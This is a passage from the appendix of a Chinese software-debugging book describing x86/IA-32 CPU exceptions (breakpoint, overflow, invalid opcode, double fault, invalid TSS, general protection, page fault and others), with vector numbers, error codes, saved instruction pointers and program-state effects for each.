总是在指令边界(instruction boundary)响应 NMI 中断,也就是 当 CPU 接收到 NMI 时如果有指令正在执行,那么它会执行完正在执行的指令。因此,当 中断处理程序处理结束后可以安全的返回到被中断的程序或任务继续执行。 C.4 断点异常(#BP) 向量号:3 异常类型:陷阱(Trap) 引入该异常的处理器:8088 最早引入该异常,其后的 8086、80286 以及所有 IA-32 处 理器都实现了该异常。 描述:当 CPU 执行 INT 3 指令时会产生此异常。INT n(n=3)指令也会导致该异常, 但是二者的机器码不同,功能也有微小差异。 《软件调试》补编 - 113 – Copyright © 2009 ADVDBG.ORG All Rights Reserved INT 3 指令是常用的软件断点的基础,当用户在调试器中设置断点时,调试器会用 INT 3 指令替换掉断点位置的那条指令的第一个字节。参见本章第 2 节。 错误代码:CPU 不会向栈中放入错误代码。 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是 INT 3 指令后面要执行的那条指令。 程序状态变化:尽管栈中的 CS 和 EIP 指向的是下一条指令,但是因为 INT 3 指令不会 影响任何寄存器或内存数据,程序状态并没有实质性变化,所以调试器可以先将被 INT 3 替换掉的指令首字节恢复回来,再将 EIP 指针减一,然后恢复程序执行。程序恢复执行后, 执行的是被 INT 3 替换的那条指令。 C.5 溢出异常(#OF) 向量号:4 异常类型:陷阱(Trap) 引入该异常的处理器:8088 最早引入该异常,其后的 8086、80286 以及所有 IA-32 处 理器都实现了该异常。 描述:当 CPU 执行 INTO 指令时,如果标志寄存器的 OF 标志为 1(即 EFlags[OF]=1), 那么便会产生此异常。 一些算术指令(如 ADD 和 SUB)使用 OF(Overflow Flag)标志表示在进行带符号 整数计算时发生溢出(太大的整数或太小的负数,目标操作数无法容纳),使用 CF(Carry Flag)位表示在进行无符号整数计算时发生溢出(有进位或借位)。在进行带符号算术计 算时,程序可以直接测试 OF 标志判断是否有溢出发生,也可以使用 INTO 指令。INTO 指令的优点是如果有溢出发生,CPU 会自动调用异常处理程序来进行处理。 错误代码:无 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是 INTO 指令后面要执行的那条指令。 程序状态变化:尽管栈中的 CS 和 EIP 指向的是下一条指令,但是因为 INTO 指令不会 影响任何寄存器或内存数据,程序状态并没有实质性变化,所以可以安全的恢复执行原来 的程序。 C.6 数组越界异常(#BR) 向量号:5 异常类型:错误(Fault) 引入该异常的处理器:80286 最早引入该异常,其后的所有 IA-32 处理器都实现了该异 常。 描述:当 CPU 执行 BOUND 指令时,如果数组的索引值不在指定的数组边界(bound) 内,那么便会产生本异常(BOUND Range Exceeded Exception)。 BOUND 指令需要两个操作数,第一个操作数是装有数组索引值的寄存器,第二个操 作数一个指向数组高低边界的内存位置(下边界在前)。如果将数组的高低边界都存贮在 数组本身的前面,那么只要从数组开始处偏移一个常量就可以得到数组边界的位置,因为 数组地址通常已经在寄存器中,这样便避免了分别取数组上下边界有效地址的总线操作。 《软件调试》补编 - 114 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 但对于 Windows 这样的操作系统环境,因为所有异常都首先交给操作系统的异常处 理程序来处理,然后如果异常来自用户态,那么再分发给用户态的应用程序。这个过程所 花费的代价远远超过了 BOUND 指令可以节约的开销,所以 BOUND 指令在今天的软件产 品中应用并不多。 错误代码:无 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是导致异常的 BOUND 指令。 程序状态变化:该异常不会伴有程序状态变化,BOUND 指令的操作数也不会被修改。 从异常处理例程返回后会重新执行 BOUND 指令。因此如果错误情况没有消除,那么会陷 入“重新执行 BOUND 指令导致异常,异常返回再重新执行 BOUND 指令”的“死”循环。 C.7 非法操作码异常(#UD) 向量号:6 异常类型:错误(Fault) 引入该异常的处理器:80286 最早引入该异常,其后的所有 IA-32 处理器都实现了该异 常,而且导致该异常的情况也在逐渐增加。 描述:以下情况会导致此异常: 试图执行无效或保留的操作码(OpCode)。一个例外是,尽管 D6 和 F1 是 IA-32 架构 保留的未定义操作码,但它们不会导致异常。 指令的操作数类型与操作码不匹配,比如 LEA(Load Effective Address)指令的源操 作数不是内存地址(偏移部分)。 在不 支持 MMX 技术或 SSE/SSE2/SSE3 扩展 的处 理器 上试 图执行 MMX 或 SSE/SSE2/SSE3 指令。执行这些指令前应该先使用 CPUID 指令判断处理器是否支持 MMX(EDX 的位 23)、SSE(EDX 的位 25)/SSE2(EDX 的位 26)/SSE3(ECX 的 位 0)。 当 CR4 的 OSFXSR 位(位 9)为 0 时,试图执行 SSE/SSE2/SSE3 指令。OSFXSR 位 的含义是操作系统对 FXSAVE 和 FXRSTOR 指令的支持。但此规则不包括以下 SSE/SSE2/SSE3 指令:MASKMOVQ、MOVNTQ、MOVNTI、PREFETCHh、SFENCE、 LFENCE、MFENCE 和 CLFLUSH;或 64 位版本的 PAVGB、PAVGW、PEXTRW、 PINSRW、PMAXSW、PMAXUB、PMINSW、PMINUB、PMOVMSKB、PMULHUW、 PSADBW、PSHUFW、PADDQ 和 PSUBQ。 当 CR4 的 OSXMMEXCPT 位(位 10)为 0 时,试图执行导致 SIMD 浮点异常的 SSE/SSE2/SSE3 指令。OSXMMEXCPT 位的含义是操作系统对非屏蔽 SIMD 浮点异常 (Unmasked SIMD Floating-Point Exception,简称#XF)的支持。操作系统设置此位以 表示已经准备好处理#XF 异常的例程。如果此位没被设置,则处理器会产生#UD 异常。 执行了 UD2 指令。值得注意的是即使是 UD2 指令导致了本异常,栈中保存的指令指 针仍然是指向 UD2 指令。 在不可以锁定的指令前或可以锁定但目标操作数不是内存地址的指令前使用了 LOCK 前缀。 试图在实模式或虚拟 8086 模式执行 LLDT、SLDT、LTR、STR、LSL、LAR、VERR、 VERW 或 ARPL 指令。 不在 SMM 模式(系统管理模式)下执行 RSM(从 SMM 模式返回)指令。 《软件调试》补编 - 115 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 还要说明的一定是,对于奔腾 4 和 P6 系列这些支持乱序执行的处理器,只有在可能 导致本异常的指令被回收(retire)时才会真正产生异常,因此投机执行了错误的分支 并不会导致不该发生的异常。类似的,对于奔腾以及更早的 IA-32 处理器,预取 (prefetching)和初步解码也不会产生异常。 错误代码:无 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是导致本异常的那条指令。 程序状态变化:该异常不会伴有程序状态变化,因为无效的指令并没有被执行。 C.8 设备不可用异常(#NM) 向量号:7 异常类型:错误(Fault) 引入该异常的处理器:80286 最早引入该异常,当时的名字叫无可用数学单元(No Math Unit Available),其后的所有 IA-32 处理器都实现了该异常。 描述:以下情况会导致设备不可用异常(device-not-available): 当 CR0 寄存器的 EM 标志为 1 时执行 x87 FPU 浮点指令。处理器使用 EM(Emulation) 位表示其内部没有 x87 FPU 浮点单元。系统软件检测到此标志后,应当设置相应的处 理例程,这样当有 x87 FPU 浮点指令执行时,CPU 便会产生本异常,并交由异常处理 例程处理(可以进一步调用浮点指令仿真程序)。 当 CR0 寄存器的 MP(Monitor Coprocessor)和 TS(Task Switch)标志为 1 时(不管 EM 位是 0 或 1)执行 WAIT/FWAIT1指令。 当 CR0 寄存器的 TS 标志为 1 且 EM 标志为 0 时执行 x87 FPU、MMX 或 SSE/SSE2/SSE3 指令,但 MOVNTI、PAUSE、PREFETCHh、SFENCE、LFENCE、MFENCE 和 CLFLUSH 除外。 CPU在每次任务切换时都会设置TS标志,并在执行 x87 FPU、MMX 和SSE/SSE2/SSE3 指令检查此标志,如果以上条件满足便在执行这些指令前产生此异常,目的是让异常 处理例程保存 x87 FPU、MMX 和 SSE/SSE2/SSE3 的环境信息(context)。 MP 标志和 TS 标志共同作用决定 WAIT/FWAIT 指令会不会导致#NM 异常。如果 MP 标志为 1,那么当 TS 为 1 时执行 WAIT/FWAIT 指令时便会导致本异常,让异常处理 例程有机会在执行 WAIT 会 FWAIT 指令前保存 x87 FPU 的环境信息(context)。 错误代码:无 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是导致本异常的那条指令。 程序状态变化:该异常不会伴有程序状态变化,因为导致异常的指令没有被执行。 C.9 双重错误异常(#DF) 向量号:8 异常类型:中止(Abort) 引入该异常的处理器:80286 最早引入该异常,其后所有 IA-32 处理器都实现了该异常。 1 FWAIT 只是 WAIT 指令的另一个助记符,二者的机器码都是 9B,因此是完全等价的。 《软件调试》补编 - 116 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 描述:表明当 CPU 在调用前一个异常处理例程时检测到第二个异常。正常情况下, 当 CPU 在调用一个异常处理例程过程中又检测另一个异常时,它可以顺次的(serially) 进行处理,但是如果处理器无法顺次处理它们,那么便会产生双重错误异常(Double Fault Exception)。为了判定对于那些错误组合应该产生双重错误,处理器将异常分为三个类型: 良性(benign)异常、有益(contributory)异常和页错误(page fault)。 表 C-1 异常的另一种分类 类型 向量号码 描述 良性异常和中断 1 2 3 4 5 6 7 9 16 17 18 18 所有 所有 调试 NMI 中断 断点 溢出 数组越界 无效操作码 设备不可用 协处理器段溢出(overrun) 浮点错误 对齐检查 机器检查 SIMD 浮点 INT n INTR(来自 INTR 管脚的外部中断请求) 有益异常 0 10 11 12 13 除零 无效 TSS 段不存在 栈错误 一般保护(GP)异常 页错误 14 页错误异常 表 C-2 列出了哪些组合会导致双错异常。 表 C-2 导致双错异常的组合 第二次异常 第一次异常 良性类异常 有益类异常 页错误 良性类异常 有益类异常 页错误 顺次处理 顺次处理 顺次处理 顺次处理 产生双重异常 产生双重异常 顺次处理 顺次处理 产生双重异常 需要注意的是,表 2-12 列出的并非是所有会产生双重错误异常的情况,当 CPU 在试 图将控制权移交给错误处理例程时,任何再发生的错误都会导致双重错误异常。 如果 CPU 在将控制权移交给双重错误异常的处理例程时又有异常发生,那么 CPU 机 会进入关机模式(shutdown mode)。关机模式类似于执行 HLT(HALT,停止)指令后处 理器所处于的状态。在此状态下,CPU 停止执行任何指令直到: 有不可屏蔽中断请求发生; 有 SMI(系统管理中断)请求发生; 硬复位(hardware reset); 对 CPU 的 INIT#管脚置低电平(assertion)。 当进入关机模式时,CPU 会通过一个特别的总线周期/事务(bus cycle/transaction)输 出关机消息(Shutdown message)以通知前端总线上的系统部件(芯片组)。作为响应,系 《软件调试》补编 - 117 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 统部件可以采取如下措施: 打开指示灯通知给用户; 产生一个 NMI 中断,让 CPU 苏醒并执行 NMI 处理例程,NMI 处理例程可以从芯片 组那里获得状态信息,判断出 CPU 处在关机模式,记录下诊断信息,然后命令芯片 组向设置以下信号之一: RESET#,让 CPU 硬复位; INIT#,让 CPU 软复位; SMI#,让 CPU 转入系统管理模式。 当 CPU 在执行 NMI 中断处理例程或在系统管理模式下发生关机,那么就只能通过硬 复位使 CPU 重启。 错误代码:0。对于双重错误异常,CPU 总是向栈中压入错误码 0。 保存的程序指针:栈中保存的 CS 和 EIP 值的指向未定义。 程序状态变化:双重错误异常属于中止类异常,该异常发生后的处理器状态没有明确 定义,所以被中断的程序不可以恢复执行。 双重错误异常处理例程的可以做的事情就是收集可能的环境信息供将来诊断使用。如 果当异常处理机制的机器状态被破坏时有双重错误异常发生,那么处理器将无法调用相应 的处理例程,这是 CPU 只能重启。 C.10 协处理器段溢出异常 向量号:9 异常类型:中止(Abort) 引入该异常的处理器:286 处理器最早引入该异常, 386 以及 486 的早期版本(在将 数学协处理器集成进 CPU 以前,如 486SX)实现了该异常。从 486DX 开始后的 IA-32 处 理器不再使用此异常。 描述:该异常表示 CPU(如 386)在向 FPU(数学协处理器,如 387)操作数的中间 部分时检测到了页错误或段不存在异常。从 486DX 开始,这种情况会被当作一般保护异 常(#GP)报告。 错误代码:无 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是导致该异常的那条指令。 程序状态变化:该异常发生后的处理器状态没有明确定义,所以被中断的程序不可以 恢复执行。 C.11 无效 TSS 异常(#TS) 向量号:10 异常类型:错误(Fault) 引入该异常的处理器:286 最早引入该异常,其后的所有 IA-32 处理器都实现了该异常。 描述:该异常表示 CPU 在进行任务切换或者执行使用 TSS(任务状态段)信息的指令 《软件调试》补编 - 118 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 时检测到了一个与 TSS 有关的错误。表 C-3 列出了各种错误情况和该情况导致异常时错 误代码中的索引域内容。总体说来,错误情况是由于以下内容违反了保护模式规则: TSS 描述符; TSS 指向的 LDT(局部描述符表); TSS 中引用的任何其它段。 表 C-3 导致无效 TSS 的错误情况 无效情况 错误码索引域 TSS 段的限制小于 67H(32 位的 TSS)或 2CH(16 位 TSS) TSS 段选择子索引 通过 IRET 切换任务时,TSS 段选择子的 TI(table index)标志值代 表的是 LDT(应该为 GDT)。 TSS 段选择子索引 通过 IRET 切换任务时,TSS 段选择子的索引值超出描述符表的限 制。 TSS 段选择子索引 通过 IRET 切换任务时,TSS 描述符的 busy 标志值代表的是非活动 任务。 TSS 段选择子索引 通过 IRET 切换任务时,试图加载 backlink2 limit 时出错。 TSS 段选择子索引 通过 IRET 切换任务时,backlink 指向的是空选择子。 TSS 段选择子索引 通过 IRET 切换任务时,backlink 选择的 TSS 描述符的 busy 标志不 “繁忙”(not busy)。3 TSS 段选择子索引 新的 TSS 描述符超出了 GDT 的限制。 TSS 段选择子索引 新的 TSS 描述符是不可写的。 TSS 段选择子索引 向旧的 TSS 存储时遇到错误 TSS 段选择子索引 通过跳转或 IRET 进行任务切换时旧的 TSS 描述符不可以写 TSS 段选择子索引 通过调用(call)或异常进行任务切换时新 TSS 的 backlink 不可以写 TSS 段选择子索引 试图锁定新的 TSS 时,新 TSS 的选择子为空 TSS 段选择子索引 试图锁定新的 TSS 时发现新 TSS 选择子的 TI 位为 1(1 代表 LDT, 应该为 0 代表 GDT) TSS 段选择子索引 试图锁定新的 TSS 时发现新 TSS 描述符不是可用的 TSS 描述符 TSS 段选择子索引 LDT 或 GDT 不存在 LDT 段选择子索引 栈段选择子(stack segment selector)超出描述符表限制 栈段选择子索引 栈段选择子为空 栈段选择子索引 栈段描述符的类型不是数据段 栈段选择子索引 栈段不可以写 栈段选择子索引 栈段 DPL!=CPL 栈段选择子索引 栈段选择子 RPL!=CPL 栈段选择子索引 代码段选择子(code segment selector)超出描述符表限制 代码段选择子索引 代码段选择子为空 代码段选择子索引 代码段描述符的类型不是代码段 代码段选择子索引 对于非相容(nonconforming)代码段4,DPL!=CPL 代码段选择子索引 对于相容(conforming)代码段5,DPL 大于 CPL 代码段选择子索引 数据段选择子(data segment selector)超出描述符表限制 数据段选择子索引 数据段描述符的类型不是可读的代码或数据类型 数据段选择子索引 2 TSS 中指向前一个任务的 TSS 的段选择子,简称 backlink。 3 繁忙的任务是指正在运行的任务或者被挂起(suspended)的任务。从 IRET 切换回去的任务是被打断的 任务,其 Busy 标志应该为繁忙。Busy 标志是为了防止任务切换陷入死循环。通常,当切换到的目标任务 (新任务)的繁忙标志已经设置时,会产生一般保护异常。但是如果该次任务切换是由 IRET 指令发起的 那么便不会产生异常。 4 非相容代码段的代码只能被 CPL(Current Previlege Level)与其 DPL(Descriptor Previlege Level)相等的 程序所调用,也就是只有同等优先级的代码才可以调用或跳转到非相容代码段的代码。 5 相容代码段的代码可以被 CPL(Current Previlege Level)与其 DPL(Descriptor Previlege Level)相等或更 小的程序所调用,也就是同等优先级或更低优先级的代码可以调用或跳转到相容代码段的代码。 《软件调试》补编 - 119 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 无效情况 错误码索引域 数据段描述符的类型是非相容代码类型而且 RPL>DPL 数据段选择子索引 数据段描述符的类型是非相容代码类型而且 CPL>DPL 数据段选择子索引 对于 LTR 指令,TSS 段选子为空 TSS 段选择子索引 对于 LTR 指令,TSS 段选子的 TI 标志为 1 TSS 段选择子索引 TSS 段描述符超出 GDT 段限制 TSS 段选择子索引 TSS 段或 upper 描述符不是可用的 TSS 类型 TSS 段选择子索引 IA-32e 模式下,TSS 段描述符是 286 TSS 类型 TSS 段选择子索引 TSS 段 upper 描述符不是正确的类型 TSS 段选择子索引 TSS 段描述符包含不规范的(non-canonical)基址(base) TSS 段选择子索引 试图从 TSS 加载 SS 选择子或 ESP 时超出限制 TSS 段选择子索引 CPU 可能按照原任务的上下文产生无效 TSS 异常,也可按照新任务的上下文产生该 异常。如果处理器已经完成对新 TSS 的检验,那么就在新任务的上下中产生异常,否则 处理器会在原任务的上下文中产生异常。 无效 TSS 异常的处理例程必须是通过任务门调用的任务。在 TSS 有问题的任务中处 理该异常可能因处理器的状态不一致而出问题。 错误代码:错误码包含了导致异常的段描述符的段选择子索引和段描述符表的种类 (IDT/GDT)。如果 EXT 标志被置位,那么表示该异常是由外部事件(相对于正在运行的 程序)导致的,例如当有外部硬件中断发生时,使用任务门调用外部中断服务例程过程中 目标 TSS 无效。 保存的程序指针:如果是在任务切换完成前检测到异常,那么栈中保存的 CS 和 EIP 值指向的是请求(invoke)任务切换的那条指令。如果是在任务切换完成后检测到异常, 那么栈中保存的 CS 和 EIP 值指向的是新任务的第一条指令。 程序状态变化:如果无效 TSS 异常发生在任务移交点(即执行权移交给新任务那一点) 之前,那么程序状态没有变化。如果发生在移交点(新的段选择子的段描述符信息已经被 加载到段寄存器中)之后,那么处理器会在产生异常前从新 TSS 加载所有状态信息。在 任务切换过程中,处理器首先从 TSS 中装载所有段寄存器,然后再检查其内容的有效性。 如果在检查中发现无效 TSS 异常,那么处理器不再继续检查还没有检查的段寄存器。因 此无效 TSS 异常处理例程如果使用各个段寄存器(CS、DS、ES、FS、GS 和 SS)中的段 选择子,那么有可能再次导致无效 TSS 异常。英特尔推荐使用一个单独的任务来处理无 效 TSS 异常,那么当从异常处理例程切换回被打断的任务时,CPU 在从 TSS 加载该任务 时会检查各个段寄存器。 C.12 段不存在异常(#NP) 向量号:11 异常类型:错误(Fault) 引入该异常的处理器:286 处理器最早引入该异常,其后的所有 IA-32 处理器都实现了 该异常。 描述:表示段或门描述符的存在(present)标志为 0。以下操作可能导致处理器产生 该异常: 试图加载 CS、DS、ES、FS、GS 寄存器。如果在加载 SS 寄存器时检测到存在位为 0, 那么会导致栈错误异常(#SS)。 《软件调试》补编 - 120 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 使用 LLDT 指令加载 LDTR 寄存器。如果在任务切换过程中加载 LDTR 检测到 LDT 不存在那么会导致无效 TSS 异常(#TS)。 当执行 LTR 指令时 TSS 被标记为不存在。 试图使用一个被标记为段不存在(其它属性都有效)的门描述符或 TSS。 操作系统可以使用段不存在异常实现段一级的虚拟内存。当要访问一个不在物理内存 中的段时,CPU 产生段不存在异常并调用异常处理程序,异常处理程序可以把该段从虚 拟内存中加载到物理内存中,然后返回继续执行。 在门描述符中,因为门并不对应段,所以“不存在”并不表示段不存在。操作系统可 以使用该标志表示其它含义。 在报告或处理有益类(contributory)异常和页错误异常时如果引用了不存在的段,那 么处理器会报告双重错误异常(#DF)而不是段不存在异常(#NP)。 错误代码:错误码中包含了导致错误的段描述符的段选择子索引。如果 EXT 标志为 1, 那么该异常是由于以下情况之一导致的: 外部事件(不可屏蔽中断或 INTR)导致了异常,随后引用了不存在的段。 良性(benign)类异常随后引用了不存在的段。 如果错误码描述的是 IDT 表项,那么 IDT 标志为 1。这类错误是由于被响应中断的向 量值指向的 IDT 表项是不存在的中断门。 保存的程序指针:栈中保存的 CS 和 EIP 值指向的通常是导致该异常的那条指令。如 果该异常是发生在任务切换过程中加载新任务的段描述符,那么 CS 和 EIP 寄存器指向的 新任务的第一条指令。如果是在访问门描述符时发生该异常,那么 CS 和 EIP 寄存器指向 的请求访问的那条指令(比如引用调用门的 CALL 指令)。 程序状态变化:如果段不存在异常是因为加载 CS、DS、ES、FS 或 GS 寄存器而发生 的,那么程序状态不会改变6,因为寄存器内容并没有改变。对于此种异常,异常处理程 序可以在将缺少的段加载到内存并设置段描述的存在标志后恢复运行原来的程序。 如果在访问门描述符时发生了段不存在异常,不会伴有程序状态变化,异常处理程序 只要设置好存在标志就可以恢复程序运行。 当段不存在异常发生在任务切换过程中,如果发生时刻是在把控制权移交给新任务那 一点之前,那么程序状态没有变化。如果发生在移交点之后,那么处理器会在产生异常前 从新的 TSS 加载所有状态信息。 C.13 栈错误异常(#SS) 向量号:12 异常类型:错误(Fault) 引入该异常的处理器:80286 最早引入该异常,其后的所有 IA-32 处理器都实现了该异 常。 描述:该异常表示 CPU 检测到与栈有关的以下情况之一: 6 IA-32 手册此处有误,原句为”a program state does accompany the exception because the register is not loaded”,应该是遗漏了“not”。 《软件调试》补编 - 121 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 在执行某个引用 SS 寄存器的操作时 CPU 检测到段界违例(limit violation)。导致段 界违例的操作有以下两类:明确或隐含使用 SS 寄存器的指令,如 MOV AX, [BP+6]或 MOV AX, SS:[EAX+6];栈操作指令,如 POP、PUSH、CALL、RET、IRET、ENTER 和 LEAVE, 当使用 ENTER 指令来为一个过程建立栈桢(stack frame)时,如果没有足够的栈空间来 分配局部变量,那么便会产生此异常。 当加载 SS 寄存器时,CPU 检测到栈段不存在(not present stack segment)。这种情况 可能发生在执行任务切换的过程中,目标优先级不同的 CALL 指令,返回到不同的优先级, LSL 指令(Load Segment Limit,即加载段界),目标为 SS 寄存器的 MOV 或 POP 指令。 栈错误异常是可能被恢复的,对于第一种情况可以通过扩展段界的方式来修正这个错 误;对于第二种情况只要把缺少的栈段加载到内存。 错误代码:对于栈段不存在(第二类情况)和不同优先级间的调用导致的栈溢出(第 一类情况中的跨优先级情况),错误码中包含了导致异常的那个段的段选择子。异常处理 例程可以通过该选择子找到该段的段描述符并判断其存在标志。 对于通常情况(发生在一个已经使用了的栈)的栈界违例,错误码为 0。 保存的程序指针:栈中保存的 CS 和 EIP 值通常指向的是导致该异常的那条指令。但 如果是在任务切换时由于试图加载一个不存在的栈段而导致异常,那么 CS 和 EIP 指向的 是新任务的第一条指令。 程序状态变化:如果栈错误异常是在任务切换过程中发生的,那么它可能发生在把控 制权移交给新任务那一点之前,也可能发生在巴控制权移交给新任务之后。如果是发生在 之前,那么程序状态没有改变。如果是发生在之后,那么处理器会在产生异常前继续从新 的 TSS 加载所有状态信息(而且不再做边界、类型和存在性检查)。所以异常处理例程不 能假定使用 CS、SS、DS、ES、FS 和 GS 段寄存器中的段选择子不会再导致异常。异常处 理例程应该认真检查每个段寄存器后再恢复运行原来的程序,否则可能再次发生错误使问 题更难定位和解决。 对于其它情况的栈错误异常,不会伴有程序状态变化,因为 CPU 在报告异常前会恢 复到执行触发异常的指令前的状态。 C.14 一般性保护异常(#GP) 向量号:13 异常类型:错误(Fault) 引入该异常的处理器: 80286 最早引入该异常,其后的所有 IA-32 处理器都实现了该异常。 描述:CPU 的保护模式旨在提供一种多个应用程序在系统软件的监管下共享资源同时 运行的多任务环境,首先要保护系统软件的安全,使其不会受到其它软件的有意或无意破 坏,其次就是要保护系统中运行着的每个任务不受其它任务的破坏。为了实现这两种保护, CPU 制定了一系列保护性规则(protection rule),并要求系统中运行的所有程序都要遵守 这些规则。如果有程序违反了保护性规则(称为 protection violation),那么 CPU 便会通过 异常的方式汇报给系统软件,系统软件根据情况采取措施,必要时会强行关闭“违例”的 程序(参见 3.6 节)。为了报告监测到的“违例”情况,CPU 定义了几种异常。比如当程 序中的指针指向了无效的内存地址时(比如空指针),那么 CPU 便会通过页错误异常(#PF) 《软件调试》补编 - 122 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 将这一情况报告给系统软件。再比如,当一个程序试图向栈中压入过多数据,将导致超出 栈边界(limit)时,那么 CPU 便会通过栈错误异常(#SS)将该情况报告给操作系统。对 于 Windows 操作系统来说,如果该情况发生在用户模式,那么操作系统会尝试分配更多 的栈空间然后恢复执行被中断的指令,如果该情况发生在内核模式,那么操作系统便会。 但更多的情况下,CPU 会通过一般性保护异常(#GP——General Protection Exception)来 报告违反保护模式规则的情况。按照 IA-32 手册的说法,凡是不属于(已定义的)其它异 常的保护性违例都会作为一般性保护异常来报告。目前会导致一般性保护异常的情况有: 当访问 CS、DS、ES、FS 或 GS 段时超出段边界。 当引用一个描述符表时超出段边界(不包括发生在任务切换或栈切换过程中的情况, 因为这两种情况会分别报告无效 TSS 异常和栈错误异常)。 向不可执行的段移交执行权。 向代码段或只读数据段写。 读仅可以执行(execute-only)的代码段。 向 SS 寄存器中加载指向只读段的段选择子(不包括在切换任务时从 TSS 中读出的段 选择子,该情况会以无效 TSS 异常的形式汇报)。 向 SS、DS、ES、FS 或 GS 寄存器中加载指向系统段的段选择子。 向 DS、ES、FS 或 GS 寄存器中加载指向只可执行(execute-only)代码段的段选择子。 向 SS 寄存器中加载指向可执行段的段选择子或空段选择子7(null segement selector)。 向 CS 寄存器中加载指向数据段的段选择子或空段选择子。 当 DS、ES、FS 或 GS 寄存器中包含空段选择子时使用它们访问内存。 当使用指向 TSS 的 CALL 或 JMP 指令进行任务切换时,目标任务忙(busy)。 在使用非 IRET(non-IRET)指令切换任务时使用的段选择子指向了当前 LDT(局部 描述符表)的 TSS。TSS 段只能位于 GDT(全局描述符表)中。如果在使用 IRET 指 令切换任务时检测到这种情况,那么 CPU 会报告无效 TSS 异常。 违反任何权限规则(privilege rules),参见 2.3 节。 指令超出长度限制(最长 15 字节),这种情况只可能发生在指令前放置了过多的前缀 (否则便会导致无效指令异常)。 试图将 CR0 寄存器加载为 PG 标志为 1(paging enabled)PE 标志为 0(protection disabled),也就是没有启用保护模式时启用内存页支持。因该先启用保护模式(PE 位置 1)或同时将 PE 和 PG 位置 1。 试图将 CR0 寄存器加载为 NW(Not Write-through)标志为 1 但 CD(Cache Disable) 标志为 0。 中断或异常所引用的中断描述符表(IDT)表项不是中断门、陷阱门或任务门。 企图从虚拟 8086 模式通过中断或陷阱门访问所在代码段的 DPL 大于 0 的中断或陷阱 处理例程。 企图向 CR4 寄存器的保留位写 1。 当 CPL(当前权限级别)不等于 0 时执行特权指令。 写 MSR 寄存器的保留位。 7 GDT 表的第一个表项是保留不用的,指向这个表项的段选择子(也就是 TI 标志为 0,索引也为 0)被称 为空段选择子。当向 CS 或 SS 寄存器加载空段选择子,CPU 会立刻报告一般性保护异常。向其它段寄存器 加载空段选择子时,CPU 不会报告异常,但如果使用这些寄存器访问内存时,CPU 便会报告异常。 《软件调试》补编 - 123 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 访问包含空段选择子的门。 执行 INT n 指令时 CPL 大于(数值上)引用的中断门、陷阱门或任务门的 DPL。 调用门、中断门或陷阱门中的段选择子指向的不是代码段。 LLDT 指令中的段选择子操作符是局部类型(TI 位为 1)或者没有指向 LDT 类型的段 描述符。 LTR 指令中的段选择子操作符是局部类型(TI 位为 1)或者指向的 TSS 不可用。 调用、跳转或返回的目标代码段选择子为空。 当 CR4 寄 存 器 的 PAE 和 / 或 PSE 位 为 1 时 CPU 检 测 到 页 目 录 指 针 表 (page-directory-pointer-table)表项的保留位被置位 1。当写 CR0、CR3 或 CR4 控制 寄存器时导致重新加载页目录指针表表项时,CPU 会检查这些位。 试图向 MXCSR 寄存器的保留位写非零的值。 执行要求按 16 字节对齐的 SSE/SSE2/SSE3 指令访问 128 位的内存区域时边界地址没 有按 16 字节对齐。这一规则也适用于堆栈段。 错误代码:处理器会向异常处理例程的堆栈压入一个错误码。如果错误是在加载段描 述符时检测到的,那么错误码会包含指向这个代码段描述符的段选择子或者这个描述符对 应的 IDT 向量号。CPU 可能从以下来源提取错误码中的段选择子:指令操作数;参数所 指定的门(gate)的选择子;参与任务切换的 TSS 的选择子;IDT 向量号。 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是产生异常的那条指令。 程序状态变化:通常一般性保护异常不会伴有程序状态变化,因为无效的指令或操作 没有被执行(严格说是 CPU 会恢复到导致异常的指令被执行前的状态)。因此,异常处理 程序可以纠正导致一般性保护错误的情况,然后恢复被中断的任务或程序。 当一般性保护异常是在任务切换过程中发生的,那么它可能发生在把控制权移交给新 任务那一点之前,也可能发生在巴控制权移交给新任务之后。如果是发生在之前,那么程 序状态没有改变。如果是发生在之后,那么处理器会在产生异常前继续从新的 TSS 加载 所有状态信息(而且不再做边界、类型和存在性检查)。所以异常处理例程不能假定使用 CS、SS、DS、ES、FS 和 GS 段寄存器中的段选择子不会再导致异常。异常处理例程应该 认真检查每个段寄存器后再恢复运行原来的程序,否则可能再次发生错误使问题更难定位 和解决。 如果异常发生在试图调用中断处理例程的过程中,那么被中断的程序可以重新运行, 但是中断可能丢失了。 C.15 页错误异常(#PF) 向量号:14 异常类型:错误(Fault) 引入该异常的处理器:80386 最早引入该异常,其后所有 IA-32 处理器都实现了该异常。 描述:表示在启用了页机制(paging)(也就是 CR0 寄存器的 PG 标志为 1)的情况下, CPU 在将线性地址翻译为物理地址时检测到了如下情况: 进行地址翻译所需的页表(page-table)或页目录(page-directory)表项的 P(Present) 标志为 0。P 标志为 0 表示包含操作数的页表或页不在物理内存中。 《软件调试》补编 - 124 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 当前程序没有足够的权限访问指定的页(比如,用户模式下的函数访问管理模式使用 的页)。 运行在用户模式下的代码试图写只读属性的内存页。从 486 开始,如果 CR0 寄存器 的 WP(Write Protect)标志为 1,那么运行在管理模式的代码如果写只读属性的用户 态内存页也会触发页错误异常。 取指到(fetch instruction to)一个线性内存地址时,该地址被翻译为物理地址后所在 的内存页设置了禁止执行(execute-disable)标志。 页目录表项的一或多个保留位被设为 1。参见下面对 RSVD 错误码标志的描述。 错误代码:处理器会向异常处理例程的堆栈压入一个特殊格式的错误码。该错误码的 格式(参见图 C-1)不同于其它异常所使用的格式(图 3-2)。 图 C-1 页错误异常的错误码 P 位如果为 0 则表示该异常是由于页不存在所导致的,如果为 1 则表示该异常是因为 违反访问权限或使用保留位所导致的。 W/R 位表示导致该异常的内存访问是读(0)还是写(1)操作。 U/S 位表示异常发生时处理器是在用户模式(1)还是内核模式(0)下执行。 